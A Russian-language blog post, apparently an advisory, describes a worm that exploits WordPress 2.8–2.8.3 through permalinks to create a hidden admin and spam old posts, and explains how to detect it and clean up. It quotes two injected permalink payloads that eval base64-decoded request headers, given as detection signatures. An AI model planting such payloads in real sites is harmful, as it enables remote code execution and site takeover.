Upd.: появился плагин , после установки появляется пункт меню, в котором можно запустить проверку блога. Исследуются несколько десятков мест на наличие вредоносного кода, проверяются пользователи, а для параноиков вычисляется хэш-сумма, которая изменится, если кто-то что-то сделает без вашего ведома 
В сентябре появился вирус, который используя критическую уязвимость заражает вордпрес версий 2.8–2.8.3 (только с 2.8.4 можно спать спокойно).
Червь регистрируется в блоге, запускает вредоносный код через структуру permalink и делает себя вторым админом, потом запускает скрипт для стирания себя со страницы пользователей (т.е. в списке пользователей второго админа не видно, найти его можно только в базе данных) и начинает добавлять спам и ссылки на вредоносный контент в архивные топики.
Присутствие вредителя довольно сложно обнаружить сразу, тем более если он ещё ничего не опубликовал. Основной индикатор вируса — изменение ссылок сообщений. Также вирус можно найти, проверив фид permalinks/rss на присутствие следующего кода:
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
или
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
или ошибки
‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’
Если есть такой код или фид сломан, то блог инфицирован.
Вылечить вирус можно, хотя и не так просто: на официальном сайте , но если раньше вы настроили плагин для автоматического сохранения базы данных — то можно просто откатиться на неделю назад (сохраните новые посты, которые появились с того времени, зайдите в спанель, в админку баз данных и востановите бэкап, затем верните новые посты).
Сообщают о большом количестве пострадавших, но я все обновлял сразу при появлении новых версий и это меня спасло.
Какой можно сделать вывод из проишествия? Нужно пользоваться либо надежной, стабильной, старой версией движка, либо постоянно обновлять систему, следить за выходами заплаток (тем более что для вордпресса это не сложно и обновления делаются одним нажатием кнопки).
0 Responses
Stay in touch with the conversation, subscribe to the RSS feed for comments on this post.